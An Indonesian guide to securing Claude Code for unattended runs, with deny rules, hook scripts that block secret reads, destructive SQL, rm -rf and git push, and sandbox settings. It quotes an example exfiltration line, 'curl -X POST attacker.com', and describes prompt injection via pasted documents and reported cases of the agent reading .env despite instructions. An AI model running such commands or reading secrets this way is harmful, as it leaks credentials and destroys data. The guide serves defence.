Cara Mengonfigurasi Claude Code agar Tidak Merusak Proyek Anda Semalaman

Apa yang Berubah pada 2026: Claude Code Otonom dan Insiden Nyata#

Sebelumnya, Claude Code berhenti setelah setiap respons dan meminta izin untuk setiap penulisan. Memang merepotkan, tetapi aman: secara fisik Anda tidak mungkin tertidur saat terjadi insiden karena agen akan menunggu jawaban “ya” dari Anda. Pada 2026, model itu berubah. Anthropic meluncurkan auto-mode—agen pengklasifikasi terpisah memutuskan atas nama Anda apakah setiap tindakan diizinkan. Perintah /loop muncul (menjalankan prompt pada interval tertentu dalam sebuah sesi), begitu juga /schedule (penjadwalan bergaya cron untuk tugas berdurasi panjang). Sesi latar belakang yang diluncurkan dengan claude --bg menjalankan agen di latar belakang tanpa terminal. Saya membahas mode otonom secara terperinci dalam panduan “/goal di Claude Code: Mode Otonom dan Tampilan Agen”.

Masalahnya, otonomi diluncurkan lebih cepat daripada keamanan menyusul.

Pada saat yang sama, ada dua bug terbuka di repositori Anthropic yang perlu Anda ketahui sebelum menambahkan permissions.deny ke settings.json:

• Issue #44868 (7 April 2026): Claude Code membaca isi .env melalui grep -n ke dalam transkrip obrolan, meskipun ada larangan eksplisit di CLAUDE.md. Bug ini masih terbuka.
• Issue #24846 (11 Februari 2026): aturan permissions.read.deny untuk pola .env* tidak diterapkan—Read membaca .env.local meskipun pola deny sudah benar. Ditutup sebagai duplikat, bukan diperbaiki.

Kedua celah ini menunjukkan mengapa satu lapisan perlindungan di settings.json tidak cukup. Berikut model empat lapisan: permissions + hooks + sandbox + pemisahan sesi. Masing-masing dapat mengurangi paparan, tetapi tidak membuat lapisan lain menjadi lengkap. Evaluasi auto-mode yang dikutip tidak membuktikan hook regex menangkap kegagalannya. Untuk produksi, gunakan lingkungan OS terisolasi tanpa kredensial atau akses tulis produksi, tegakkan pembatasan jaringan di luar model, dan uji batas itu sebelum proses tanpa pengawasan.

Apa Itu Zona Proyek Hijau dan Merah?#

Tidak ada gunanya membangun perlindungan yang sama untuk setiap proyek. Proyek hobi lokal di komputer Anda yang tidak diterapkan secara eksternal memiliki tingkat risiko yang sama sekali berbeda dari layanan yang menangani pembayaran sungguhan dan menyimpan data pelanggan. Jika Anda menggunakan perlindungan yang sama di mana-mana, Anda akan menghambat kecepatan di zona hijau dan tetap membiarkan celah di zona merah.

Sebuah proyek berpindah dari hijau ke merah begitu setidaknya satu dari tiga kondisi terpenuhi: ada pelanggan aktif, uang mulai mengalir melalui sistem, atau database berisi data pribadi orang. Sampai saat itu, Anda dapat menggunakan auto-mode, hook seminimal mungkin, dan tanpa sandbox. Setelah itu, perlindungan harus dibangun ulang sesuai penyiapan lengkap dalam panduan ini.

Prinsip utamanya: tingkat perlindungan ditentukan oleh zona. Tahap pengembangan tidak berpengaruh. Proyek hobi di komputer Anda dengan akun Stripe uji berada di zona hijau. Layanan dengan satu pelanggan berbayar dan formulir pendaftaran sudah berada di zona merah, meskipun masih tampak seperti “draf.” Mencampuradukkan zona-zona ini adalah jebakan umum dalam proyek tahap awal: “kita masih dalam draf, perlindungan akan ditambahkan nanti,” lalu pelanggan pertama membayar minggu depan.

Bagaimana Hierarki Permissions Bekerja di settings.json?#

Anthropic menjelaskan hierarki evaluasi permissions dalam dokumentasi resminya: aturan deny diperiksa terlebih dahulu, lalu ask, kemudian allow—aturan pertama yang cocok akan berlaku. Artinya, deny selalu mengesampingkan allow. Jika Anda melarang pembacaan .env di ~/.claude/settings.json, lalu seseorang menetapkan allow di .claude/settings.json proyek, larangan Anda yang berlaku, bukan izin mereka.

Contoh ~/.claude/settings.json tingkat pengguna yang aman dan minimal:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Apa yang terjadi di sini? Enam aturan pertama memblokir pembacaan file rahasia di direktori saat ini dan semua subdirektori. *.pem dan *.key adalah kunci SSL/TLS dan kunci SSH. credentials*.json adalah nama berkas yang umum digunakan penyedia cloud. Tiga aturan terakhir adalah direktori sistem yang berisi kunci SSH, kredensial AWS, dan kunci GPG.

Kunci disableBypassPermissionsMode: "disable" memblokir flag --dangerously-skip-permissions (juga dikenal sebagai mode YOLO). Ini menghilangkan satu jenis kesalahan untuk selamanya: bahkan jika Anda tidak sengaja menambahkan flag ini di skrip atau alias, Claude Code akan menolak menerimanya. Claude Code bukan sekadar menghapusnya—ia akan mengembalikan kesalahan “mode disabled by managed settings.”

Selain itu, mulai versi 2.1.142, kunci defaultMode: "auto" diabaikan jika berada di pengaturan project atau local. Ini melindungi dari situasi seperti “Saya masuk ke repositori orang lain, dan .claude/settings.json-nya mengaktifkan mode otomatis secara default.” Anthropic menyatakan secara eksplisit bahwa repositori tidak dapat mengaktifkan auto-mode tanpa persetujuan pengguna.

Ini adalah lapisan perlindungan pertama. Anda tidak bisa berhenti di sini karena ada dua celah yang akan Anda pelajari berikutnya.

Mengapa permissions.deny Tidak Cukup: 2 Issue GitHub Terbuka#

Jika permissions.deny berfungsi, panduan ini bisa berakhir di bagian sebelumnya. Namun, fitur itu tidak berfungsi sepenuhnya.

Issue #44868 (7 April 2026): pengguna secara eksplisit menambahkan larangan di CLAUDE.md untuk membaca .env, .dev.vars, dan file lain yang berisi rahasia. Alih-alih menggunakan Read, Claude menjalankan grep -n SOMETHING .env. Perintah grep -n mencetak seluruh baris yang cocok beserta nomornya—termasuk token API yang sebenarnya. Baris itu masuk ke tool_result, ditampilkan dalam transkrip sesi, dan disimpan dalam riwayat.

Hal penting yang disoroti penulis laporan: refleks keamanan model baru terpicu setelah keluaran dihasilkan, bukan sebelum perintah dijalankan. Dengan kata lain, Claude terlebih dahulu menjalankan grep, mendapatkan baris yang berisi token, lalu mencetaknya di obrolan—baru setelah itu ia menyadari kesalahannya dan “meminta maaf.” Saat itu, token sudah ada di riwayat obrolan. Satu-satunya solusi adalah merotasi kunci.

Issue #24846 (11 Februari 2026): pengguna mengonfigurasi permissions.read.deny dengan daftar yang mencakup pola **/.env*. Lalu mereka meminta Claude membaca .env.local. Alat Read selesai tanpa kesalahan dan mencetak isi file.

Issue tersebut ditutup sebagai duplikat, tetapi tidak diperbaiki. Pada saat panduan ini ditulis (Juni 2026), masalah ini masih bisa direproduksi.

Kesimpulannya: Lapisan 1 di settings.json bukan upaya sia-sia, tetapi contoh ini tidak mengukur proporsi pembacaan tidak sengaja yang dicegahnya. Namun, lapisan ini tidak mencegah perintah melalui Bash (cat .env, grep API_KEY .env, head .env), bug penegakan aturan (issue #24846), atau rangkaian cerdik yang menggunakan git diff atau git show pada commit yang berisi .env. Itulah alasan Anda membutuhkan lapisan kedua—hooks.

Bagaimana Hook Dapat Memblokir Tindakan Berbahaya yang Dikenali?#

Hooks bekerja pada tingkat abstraksi yang berbeda dari permissions. Permissions adalah aturan yang dipertimbangkan model saat memutuskan apa yang harus dilakukan. Hook bekerja secara berbeda: model memutuskan untuk memanggil alat, hook berjalan di antara model dan sistem, memeriksa input, lalu mengizinkan atau memblokirnya. Model tidak berpartisipasi dalam keputusan hook—itu adalah kode shell yang Anda tulis sendiri.

Anthropic menjelaskan perilaku pemblokiran dalam dokumentasi hooks resminya:

Artinya ada dua hal. Pertama, hook pemblokir yang dikonfigurasi dengan benar dapat menolak pemanggilan alat yang cocok. Untuk PreToolUse, kode keluar 2 memblokir pemanggilan itu; ini tidak membuktikan skrip mengenali setiap perintah berbahaya yang setara. Kedua, Anda dapat menaruh pesan yang bermakna di stderr, lalu Claude akan membacanya sebagai kesalahan dan mencoba pendekatan lain. Dengan kata lain, hook bukan sekadar “pagar”; hook adalah “pagar dengan rambu yang menjelaskan mengapa Anda tidak bisa lewat.”

Peristiwa yang dapat diblokir dengan exit 2:

• PreToolUse—memblokir pemanggilan alat sebelum dieksekusi. Peristiwa utama untuk hook defensif.
• PermissionRequest—menolak izin untuk tindakan yang diminta Claude.
• UserPromptSubmit—memblokir dan menghapus prompt pengguna. Berguna jika prompt berisi teks mencurigakan (misalnya, injeksi prompt dari email yang disisipkan).
• Stop—mencegah Claude mengakhiri sesi. Dapat digunakan sebagai “loop” agar agen terus bekerja sampai suatu kondisi terpenuhi.
• PreCompact—memblokir pemadatan konteks otomatis. Berguna jika Anda ingin mempertahankan transkrip sampai keputusan manual dibuat.
• WorktreeCreate—menolak pembuatan worktree. Perlindungan agar Claude tidak mencoba mengkloning repositori ke lokasi yang tidak terduga.

Alternatif untuk kode keluar 2 adalah mengembalikan JSON dengan kolom hookSpecificOutput.permissionDecision. permissionDecision memiliki empat nilai yang mungkin:

• allow—secara eksplisit mengizinkan tindakan, melewati alur izin standar.
• deny—memblokir tindakan, setara dengan exit 2 untuk PreToolUse.
• ask—meminta keputusan pengguna (dialog akan muncul).
• defer—menyerahkan keputusan ke logika izin biasa.

Dengan ini, hook memiliki kendali lebih besar daripada kode keluar. Dengan permissionDecision: "ask", Anda dapat mengubah operasi senyap menjadi operasi yang memerlukan konfirmasi, tanpa langsung memblokirnya. Itulah yang saya lakukan untuk npm install <new package> dan perubahan lockfile.

Jika ingin mempelajari lebih lanjut cara kerja hooks dan 31 peristiwa yang tersedia saat ini di Claude Code, saya membahasnya dalam panduan terpisah “Hooks di Claude Code: 7 Aturan Siap Salin”. Berikutnya, saya akan memberikan hooks khusus untuk pekerjaan otonom.

7 Hooks Apa yang Saya Gunakan untuk Pekerjaan Semalaman?#

Ini adalah lapisan perlindungan kedua yang memperkuat lapisan pertama. Semua hook disimpan di .claude/hooks/, didaftarkan melalui .claude/settings.json, dan memerlukan jq terpasang.

Hook 1: Lindungi .env, .pem, dan credentials.json dari Pembacaan

Menambah pemeriksaan untuk jalur Read terpilih dan perintah Bash umum yang membaca rahasia. Ini tidak menangkap setiap alat atau setiap cara membaca rahasia. File: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Pendaftaran di .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Setelah pemasangan, jalankan chmod +x .claude/hooks/block-secret-reads.sh. Pengujian: minta Claude membaca .env.local—Anda akan mendapat respons “Secret file. Use op:// references or env vars.” alih-alih isi file.

Hook 2: Blokir pemanggilan git push literal dalam sesi semalaman

Untuk sesi tanpa pengawasan, contoh ini secara konservatif memblokir setiap git push literal yang dikenali, termasuk push ke cabang fitur. Contoh tidak mencoba menyimpulkan cabang saat ini atau menentukan apakah flag force aman. File: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Daftarkan melalui PreToolUse dengan matcher Bash. Karena memblokir perintah push yang dikenali alih-alih mengurai flag dan nama cabang, contoh menangkap git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main, dan push literal dalam rangkaian && atau ;. Ini contoh pencocokan string offline, bukan perintah untuk dijalankan terhadap remote.

Ini tetap heuristik teks. Alias Git, fungsi shell, git -C ... push, nama perintah yang dirangkai, skrip, serta alat lain dapat melewatinya; ini bukan parser shell lengkap. Tegakkan aturan cabang terlindungi pada server Git, hilangkan kredensial yang dapat melewatinya, dan jalankan pekerjaan tanpa pengawasan dalam lingkungan terisolasi tanpa akses tulis produksi. Kecocokan hook yang terlewat tidak boleh memberikan wewenang produksi.

Hook 3: Blokir Operasi SQL yang Merusak

Langsung menangani insiden database yang terhapus. File: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Daftarkan: PreToolUse dengan matcher: "Bash". Perhatikan perbedaannya: DROP dan DELETE tanpa WHERE diblokir sepenuhnya, sedangkan UPDATE tanpa WHERE menjadi ask—hal itu terkadang bisa dibenarkan (misalnya, menetapkan flag untuk semua record dalam migrasi), tetapi selalu memerlukan konfirmasi manual.

Hook 4: Filter rm -rf

Contoh kanonis dari dokumentasi Anthropic, diadaptasi agar menolak dengan alasan:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hook ini mengizinkan rm -rf node_modules, rm -rf .next/cache, dan penghapusan lain dengan cakupan yang jelas. Hook memblokir rm -rf ., rm -rf /, rm -rf ~, dan perintah sejenis yang “menghapus semuanya.”

Hook 5: Konfirmasi Pemasangan Paket Baru

Hook ini menangkal serangan rantai pasokan. Jika Claude memutuskan sendiri untuk menambahkan dependensi baru, dialog akan muncul:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Hook ini membiarkan pemasangan dari lockfile berjalan bebas, sedangkan penambahan dependensi baru memerlukan konfirmasi.

Hook 6: Lindungi package.json dan Lockfile

Setiap perubahan pada manifes dependensi adalah tanda bahwa seseorang perlu memeriksanya. Terutama jika perubahan terjadi semalaman.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Daftarkan dengan PreToolUse dan matcher Write|Edit.

Hook 7: Log Audit Menyeluruh untuk Semua Pemanggilan Bash

Jika terjadi kesalahan semalaman, Anda memerlukan log lengkap untuk memahami urutan peristiwanya. Daftarkan di settings.json (hook ini tidak memiliki skrip terpisah; jq melakukan semuanya):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

File .claude/audit.jsonl bertambah satu baris setiap kali. Pagi harinya, setelah sesi /loop semalaman, Anda dapat menjalankan tail -n 100 .claude/audit.jsonl | jq dan melihat tindakan agen pada setiap titik. Hal ini penting untuk analisis pascainsiden karena transkrip sesi bisa panjang dan sulit dibaca, sedangkan log audit memberikan linimasa yang jelas.

Bagaimana Sandbox dan Isolasi Worktree Melindungi Sesi Panjang?#

Jika hooks adalah “pagar dengan rambu,” sandbox adalah “pagar + parit + jaring drone.” Ini adalah lapisan perlindungan keempat, yang mencakup situasi ketika hooks membiarkan suatu tindakan lolos, tetapi pelaksanaan tindakan itu tetap tidak boleh menimbulkan kerugian di luar lingkungan.

Dalam tulisan blog tentang sandboxing (20 Oktober 2025), Anthropic melaporkan pengukuran internal:

Artinya, saat Anda mengaktifkan /sandbox, Claude berhenti meminta izin untuk 84% tindakan karena tindakan itu secara fisik tidak dapat keluar dari sandbox. Ini berguna untuk kecepatan, tetapi bukan nilai utamanya.

Sandbox menyediakan dua tingkat isolasi, masing-masing dengan perannya sendiri:

Isolasi sistem berkas membatasi pembacaan dan penulisan ke direktori yang secara eksplisit diizinkan. Bahkan jika hook luput dari upaya menulis ke /etc/hosts atau membaca ~/.ssh/id_rsa, sandbox tidak akan mengizinkan pemanggilan sistem itu. Ini adalah perlindungan pada tingkat sistem operasi. Lapisan aplikasi tidak dapat melihatnya.

Isolasi jaringan hanya mengizinkan koneksi ke server yang disetujui. Ini sangat penting untuk serangan eksfiltrasi. Skenario: injeksi prompt dalam file yang disisipkan menipu Claude agar membaca .env (hook luput karena pembacaan dilakukan melalui jalur yang tidak biasa), lalu model memutuskan menjalankan curl -X POST attacker.com -d "$ENV_CONTENT". Tanpa isolasi jaringan, ini berhasil. Dengan isolasi jaringan, curl tidak dapat menghubungi attacker.com karena host tersebut tidak ada dalam daftar.

Mulai dengan perintah /sandbox di dalam Claude Code. Konfigurasikan di ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Untuk sesi latar belakang panjang yang diluncurkan dengan claude --bg, tambahkan isolasi worktree ke sandbox. Ini adalah mekanisme bawaan Claude Code: setiap sesi latar belakang otomatis dipindahkan ke .claude/worktrees/<name>/ di branch terpisah. Artinya, sesi paralel tidak akan saling mengganggu saat menulis ke file yang sama. Saya membahas isolasi worktree secara terperinci dalam panduan “Tampilan Agen dan Worktree: Mode Otonom Claude Code”.

Sandbox adalah bagian dari lingkaran umpan balik. Saat Claude tahu tindakannya dibatasi, ia bekerja dengan lebih hati-hati dan menjelaskan langkah-langkah perantaranya dengan lebih jelas.

Di Mana auto-mode Berfungsi pada 2026, dan Di Mana Tidak?#

Pada Maret 2026, Anthropic meluncurkan auto-mode sebagai “jalan tengah antara tinjauan manual dan tanpa pengaman.” Mode ini menggunakan model Sonnet 4.6 terpisah yang mengevaluasi setiap tindakan Claude berdasarkan serangkaian kriteria sebelum tindakan itu dijalankan. Anthropic menjelaskan mekanismenya di blog Anthropic Engineering:

Auto-mode memiliki dua batasan penting:

• Jika sesi mengumpulkan 3 penolakan pengklasifikasi berturut-turut atau 20 penolakan total, model berhenti dan meminta bantuan manusia. Ini melindungi dari situasi ketika “Claude berputar-putar, mencoba melewati pembatasan dengan 100 variasi frasa dari perintah yang sama.”
• Auto-mode mengizinkan suatu tindakan jika tindakan itu menyerupai 93% kasus umum yang biasanya disetujui pengguna. Ini mengurangi kelelahan akibat permintaan izin, tetapi tidak melindungi dari tindakan berbahaya yang tidak lazim.

Dan inilah angka utama yang perlu diperhatikan:

Angka 17% yang dilaporkan adalah tingkat negatif palsu pada evaluasi itu, bukan probabilitas setiap tindakan dalam proyek Anda. Angka itu tidak membuktikan contoh hook menangkap tindakan yang terlewat. Di zona merah, pekerjaan tanpa pengawasan memerlukan isolasi yang ditegakkan dari penulisan produksi dan rahasia, ditambah cabang terlindungi di sisi server serta kredensial yang tidak dapat melewati aturannya.

Kesimpulan praktis: gunakan hook sebagai pemeriksaan tambahan dalam lingkungan yang dapat dibuang dan dipulihkan. Bahkan proyek lokal dapat berisi file tidak terlacak atau kredensial yang tidak dapat dipulihkan Git. Di zona merah, kecocokan hook yang terlewat harus ditahan kontrol akses nyata; kumpulan regex tidak mengubah eksekusi shell sembarang menjadi jaminan keselamatan deterministik.

Mengapa Konteks Perlu Dipisahkan Menjadi Tiga Jenis Sesi?#

Tiga jenis tugas tidak boleh berada dalam sesi yang sama:

Jenis 1: bekerja dengan data pribadi. Sesi memiliki akses ke database produksi, dapat mengirim email, dan dapat melihat kredensial. Sesi ini TIDAK memiliki akses ke dokumen eksternal (email, PDF, halaman web) dan TIDAK DAPAT mengirim data ke alamat sembarang.

Jenis 2: memproses dokumen eksternal. Sesi dapat mengurai email masuk, mengunduh halaman web, dan membaca PDF dari email. Sesi ini TIDAK memiliki akses ke database yang berisi data pribadi dan TIDAK DAPAT mengirim apa pun ke luar tanpa konfirmasi eksplisit.

Jenis 3: menerbitkan ke luar. Sesi dapat membuat unggahan di jejaring sosial, mengirim kampanye email, dan membuat pull request. Sesi ini TIDAK memiliki akses ke data pribadi dan TIDAK mengurai konten masuk.

Mengapa harus dipisahkan? Jika satu sesi melakukan semuanya, satu injeksi prompt dalam PDF yang disisipkan (agensi pesaing mengirim “faktur”) cukup untuk membuat agen membaca database pelanggan Anda, menemukan email mereka, dan mengirimkannya ke alamat penyerang. Setiap tindakan dalam rangkaian ini sah untuk jenis tugasnya sendiri. Jika digabungkan, semuanya menjadi kebocoran.

Dalam praktiknya, ini diterapkan dengan direktori .claude berbeda untuk setiap jenis tugas. Saya menyimpan tiga konfigurasi di komputer saya: ~/projects/business-ops/.claude/ (jenis 1, akses database, jaringan ditolak kecuali untuk API internal), ~/projects/inbox-parsing/.claude/ (jenis 2, semua jaringan ditolak), ~/projects/social-posting/.claude/ (jenis 3, jaringan diizinkan untuk API Telegram dan Slack). Setiap direktori adalah proyek terpisah untuk Claude Code dengan permissions dan hooks-nya sendiri.

12 Poin Checklist Apa yang Saya Periksa Sebelum /loop?#

1. ~/.claude/settings.json dengan deny tingkat pengguna untuk .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Ini adalah fondasinya; yang lain sia-sia tanpanya.

2. disableBypassPermissionsMode: "disable" di ~/.claude/settings.json. Memblokir flag YOLO untuk selamanya.

3. Contoh block-secret-reads.sh telah diuji pada perintah baca rahasia terpilih; rahasia asli dan kredensial produksi tidak dapat diakses lingkungan tanpa pengawasan.

4. Contoh block-force-push.sh memblokir push literal yang dikenali tanpa bergantung pada urutan flag atau tujuan; cabang terlindungi dan kredensial tanpa bypass ditegakkan oleh server Git.

5. Hook block-destructive-sql.sh untuk DROP TABLE, TRUNCATE, dan DELETE FROM tanpa WHERE.

6. Hook block-rm-rf.sh untuk rm -rf tanpa cakupan yang jelas.

7. Hook ask-on-new-deps.sh untuk npm install <new package> (terpisah dari npm install tanpa argumen).

8. Hook ask-on-lockfile-change.sh untuk penulisan ke package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml, dan Cargo.toml.

9. Log audit.jsonl serba guna untuk semua pemanggilan Bash, Write, dan Edit. Tanpanya, analisis pascainsiden mustahil dilakukan.

10. Semua sesi latar belakang yang panjang berjalan di worktree, bukan branch utama: claude --bg "task" otomatis membuat worktree, tetapi pastikan settings.json tidak berisi worktree.bgIsolation: "none".

11. /sandbox sebelum meluncurkan tugas otonom yang panjang. Sistem berkas dibatasi ke direktori proyek dan /tmp. Jaringan menggunakan allowlist api.anthropic.com, github.com, dan registry.npmjs.org.

12. Langkah verifikasi di dalam tugas: setelah setiap perubahan besar, jalankan test runner atau linter. Jika gagal, agen tidak akan melanjutkan sampai masalahnya diperbaiki.

Poin terakhir adalah pola kerja, bukan pengaturan alat. Beri Claude cara untuk memeriksa hasil kerjanya. Tanpa verifikasi, agen semalaman berputar dalam pola “sepertinya saya sudah melakukannya dengan benar, lanjut,” dan terus menumpuk kesalahan sampai pagi. Dengan verifikasi, agen tidak akan melanjutkan sebelum pemeriksaan berhasil.

7 Anti-Pola: Hal yang JANGAN Dilakukan#

1. --dangerously-skip-permissions di komputer yang memiliki akses produksi. Browningstreet kehilangan database produksi dan pengembangan karena satu perintah “rapikan.” Harga sebuah kesalahan adalah berjam-jam pemulihan ditambah data yang tidak ada dalam cadangan. Jika insiden sudah terjadi, buka “Apa yang Harus Dilakukan jika AI Menghapus Database: Checklist Pemulihan” dan ikuti 10 langkah secara berurutan.

2. Hanya mengandalkan CLAUDE.md untuk keamanan. Issue #44868 membuktikan bahwa model bertindak terlebih dahulu lalu meminta maaf. Instruksi anjuran dalam file teks tidak memblokir pemanggilan alat. Hook yang dikonfigurasi dengan benar dapat memblokir pemanggilan yang cocok, sementara kontrol akses OS, sandbox, dan sisi layanan menegakkan batas lebih luas. CLAUDE.md penting untuk konteks proyek—saya membahasnya secara terpisah dalam “Cara Mengonfigurasi CLAUDE.md dengan Benar”—tetapi tidak melindungi Anda dari agen otonom.

3. Hanya mengandalkan permissions.deny di settings.json tanpa hook tambahan. Issue #24846 telah terbuka sejak Februari 2026. Aturan deny untuk .env* dapat dilewati melalui grep di Bash. Hook dapat menambah pemeriksaan, tetapi rahasia juga harus dikeluarkan dari lingkungan tanpa pengawasan; regex bukan pengganti lengkap untuk kontrol akses.

4. Menganggap auto-mode ditambah hook regex sebagai isolasi produksi. Tingkat negatif palsu yang dikutip khusus untuk evaluasi itu, dan cakupan hook tidak lengkap. Hilangkan kredensial tulis produksi serta verifikasi batas yang ditegakkan alih-alih menganggap setiap tindakan berbahaya akan dicegat.

5. Menginstal paket baru dengan npm install tanpa konfirmasi. Serangan rantai pasokan itu nyata. Insiden Tea-tags pada 2024–2026 menunjukkan bahwa ada paket tiruan dengan ribuan unduhan. Anda membutuhkan allowlist.

6. Tidak mencatat pemanggilan Bash. Tanpa log audit, Anda tidak akan dapat memahami apa yang terjadi semalaman. Transkrip obrolan panjang, tidak diindeks berdasarkan perintah, dan tidak menyediakan linimasa. .claude/audit.jsonl mengatasi kedua masalah tersebut.

7. Tidak menggunakan worktree untuk sesi latar belakang. Sesi paralel dalam satu direktori saling mengganggu pekerjaan. Claude Code memiliki worktree.bgIsolation, yang diaktifkan secara default sejak versi 2.1.143, tetapi periksa pengaturan Anda.

Dan hal utama yang tidak dapat dicegah oleh hook atau pengaturan apa pun:

Ungkapan itu bukan soal gaya bahasa. Orang yang bertanggung jawab atas perlindungan produksi adalah orang yang meluncurkan agen. Claude Code bekerja seperti pisau cukur lurus: Anda bisa bercukur dengannya, dan Anda bisa melukai diri sendiri dengannya. Konfigurasi menjawab satu pertanyaan: sudahkah Anda menyiapkan lingkungan dengan cukup baik agar pisau cukur itu tidak memotong apa pun yang tidak seharusnya?

Penyiapan sebelum insiden adalah bagian dari rekayasa konteks: Anda membatasi terlebih dahulu apa yang dapat dilakukan agen, sehingga agen bebas melakukan hal-hal yang Anda inginkan.

Sumber daya lainnya tersedia di Ailoot.